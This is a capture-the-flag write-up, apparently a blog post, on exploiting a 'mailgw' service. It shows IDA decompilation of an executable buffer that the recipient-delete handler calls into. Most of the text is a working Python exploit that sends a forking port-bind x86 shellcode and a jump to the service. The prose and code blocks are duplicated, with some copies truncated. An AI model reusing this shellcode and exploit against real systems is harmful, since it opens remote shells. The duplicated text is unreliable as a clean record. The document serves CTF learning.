It was best CTF, which I ever played. Thanks to organisers very much. I'm in TU Berlin write know and I played with ENOFLAG team.
In this topic I will describe mailgw service.
Lets analyse it with IDA. Analysis of server application should starts from accept function.
As you can see. Child logic provides in manage_tcp_client function.
There is a switch with following values:
n - create account;
q - quit;
m - message;
r - read;
+ - create recipient;
- - create recipient;
l - list recipients;
s - send message.
Main attention attract the '+' block.
There is memory allocation and
7 means EXEC+WRITE+READ. What I've done first, is patch this value to 3.
Next interesting place is filling protected buffer with code.
This buffer can be dissembled.
As you can see from this peace of code, that the no limits for adding values in s2 buffer. And also there is a possibility to write over own code to s2+260. But first of all we need to find a place where this buffer called. Note, that buffer size if 284. Last values are list entry's. Also, note, that, for adding and deleting recipients, necessary to add + in the first place and | as last symbol.
Lets move to the '-' handler.
As you can see.There is a call s2 + 261 in '-' handler, is the recipients exist in list.
So. What's only needed is to put shellcode, as a recipent, to the buffer and then delete this reciepent. The one problem was to through away from strcmp function. For such purpose add 00 value as a first value.
Then put shellcode and at the offset 261 put relative jmp to 260 bytes back. "\xe9\xf7\xfe\xff\xff".
In my example I take Linux/x86 - forking portbind shellcode - port=0xb0ef(45295) - 200 bytes from Shell-Storm
Read more...
In this topic I will describe mailgw service.
Lets analyse it with IDA. Analysis of server application should starts from accept function.
while ( 1 )
{
v23 = 16;
v24 = accept(v25, (struct sockaddr *)&v28, (socklen_t *)&v23);
if ( v24 < 0 )
{
v13 = __errno_location();
v14 = strerror(*v13);
fprintf(stderr, "ERROR: accept on socket failed: %s\n", v14);
result = 1;
goto LABEL_34;
}
v19 = fork();
if ( v19 < 0 )
{
v15 = __errno_location();
v16 = strerror(*v15);
fprintf(stderr, "ERROR: fork failed: %s\n", v16);
result = 1;
goto LABEL_34;
}
if ( !v19 )
break;
close(v24);
}
dup2(v24, 0);
dup2(v24, 1);
result = manage_tcp_client();
}
{
v23 = 16;
v24 = accept(v25, (struct sockaddr *)&v28, (socklen_t *)&v23);
if ( v24 < 0 )
{
v13 = __errno_location();
v14 = strerror(*v13);
fprintf(stderr, "ERROR: accept on socket failed: %s\n", v14);
result = 1;
goto LABEL_34;
}
v19 = fork();
if ( v19 < 0 )
{
v15 = __errno_location();
v16 = strerror(*v15);
fprintf(stderr, "ERROR: fork failed: %s\n", v16);
result = 1;
goto LABEL_34;
}
if ( !v19 )
break;
close(v24);
}
dup2(v24, 0);
dup2(v24, 1);
result = manage_tcp_client();
}
As you can see. Child logic provides in manage_tcp_client function.
There is a switch with following values:
n - create account;
q - quit;
m - message;
r - read;
+ - create recipient;
- - create recipient;
l - list recipients;
s - send message.
Main attention attract the '+' block.
There is memory allocation and
mprotect((void *)(-v12 & (unsigned int)s2), ((unsigned int)&s2[v12 + 283] & -v12) - (_DWORD)addr, 7);
7 means EXEC+WRITE+READ. What I've done first, is patch this value to 3.
Next interesting place is filling protected buffer with code.
v15 = s2 + 260;
i = 0;
s2[260] = -52;
++i;
*(_DWORD *)&v15[i] = 0x82474FFu;
i += 4;
*(_DWORD *)&v15[i] = 0x82454FFu;
i += 4;
*(_DWORD *)&v15[i] = 0xC304C483u;
i = 0;
while ( 2 )
{
if ( read(0, &ptr, 1u) )
{
s2[i] = ptr;
if ( ptr != 124 )
{
++i;
continue;
}
s2[i] = 0;
}
break;
}
i = 0;
s2[260] = -52;
++i;
*(_DWORD *)&v15[i] = 0x82474FFu;
i += 4;
*(_DWORD *)&v15[i] = 0x82454FFu;
i += 4;
*(_DWORD *)&v15[i] = 0xC304C483u;
i = 0;
while ( 2 )
{
if ( read(0, &ptr, 1u) )
{
s2[i] = ptr;
if ( ptr != 124 )
{
++i;
continue;
}
s2[i] = 0;
}
break;
}
This buffer can be dissembled.
push dword ptr [esp+0x8]
call dword ptr [esp+0x8]
add esp, 0x4
ret
call dword ptr [esp+0x8]
add esp, 0x4
ret
As you can see from this peace of code, that the no limits for adding values in s2 buffer. And also there is a possibility to write over own code to s2+260. But first of all we need to find a place where this buffer called. Note, that buffer size if 284. Last values are list entry's. Also, note, that, for adding and deleting recipients, necessary to add + in the first place and | as last symbol.
Lets move to the '-' handler.
for ( s2 = *(char **)&recipients[276]; s2 != recipients; s2 = (char *)*((_DWORD *)s2 + 69) )
{
if ( !strcmp(s1, s2) )
{
((void (__cdecl *)(_DWORD, char *))(s2 + 261))(*((_DWORD *)s2 + 64), s2);
*(_DWORD *)(*((_DWORD *)s2 + 69) + 280) = *((_DWORD *)s2 + 70);
*(_DWORD *)(*((_DWORD *)s2 + 70) + 276) = *((_DWORD *)s2 + 69);
if ( debug )
fprintf(stderr, "Recipient %s removed\n", s1);
free(s2);
s2 = 0;
break;
}
}
{
if ( !strcmp(s1, s2) )
{
((void (__cdecl *)(_DWORD, char *))(s2 + 261))(*((_DWORD *)s2 + 64), s2);
*(_DWORD *)(*((_DWORD *)s2 + 69) + 280) = *((_DWORD *)s2 + 70);
*(_DWORD *)(*((_DWORD *)s2 + 70) + 276) = *((_DWORD *)s2 + 69);
if ( debug )
fprintf(stderr, "Recipient %s removed\n", s1);
free(s2);
s2 = 0;
break;
}
}
As you can see.There is a call s2 + 261 in '-' handler, is the recipients exist in list.
So. What's only needed is to put shellcode, as a recipent, to the buffer and then delete this reciepent. The one problem was to through away from strcmp function. For such purpose add 00 value as a first value.
Then put shellcode and at the offset 261 put relative jmp to 260 bytes back. "\xe9\xf7\xfe\xff\xff".
In my example I take Linux/x86 - forking portbind shellcode - port=0xb0ef(45295) - 200 bytes from Shell-Storm
import socket
import sys
HOST, PORT = "192.168.1.3", 9119
shell = "\x00"
shell +="\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell +="\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell +="\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell +="\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell +="\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell +="\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell +="\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell +="\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell +="\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell +="\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell +="\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell +="\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell +="\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell +="\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell +="\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell +="\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell +="\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell +="\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell +="\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell +="\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell +="\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell +="\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell +="\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell +="\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell +="\x89\xf3\xb0\x06\xcd\x80\xeb\x99"
shell +="\x90" * (261 - len(shell))
print len(shell)
shell +="\xe9\xf7\xfe\xff\xff"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
str1 = '+'+ shell + "|\n"
print str1
sock.send(str1)
str2 = '-'+ shell + "|\n"
sock.send(str2)
sock.close()
import sys
HOST, PORT = "192.168.1.3", 9119
shell = "\x00"
shell +="\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell +="\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell +="\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell +="\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell +="\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell +="\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell +="\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell +="\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell +="\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell +="\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell +="\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell +="\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell +="\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell +="\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell +="\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell +="\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell +="\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell +="\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell +="\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell +="\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell +="\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell +="\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell +="\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell +="\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell +="\x89\xf3\xb0\x06\xcd\x80\xeb\x99"
shell +="\x90" * (261 - len(shell))
print len(shell)
shell +="\xe9\xf7\xfe\xff\xff"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
str1 = '+'+ shell + "|\n"
print str1
sock.send(str1)
str2 = '-'+ shell + "|\n"
sock.send(str2)
sock.close()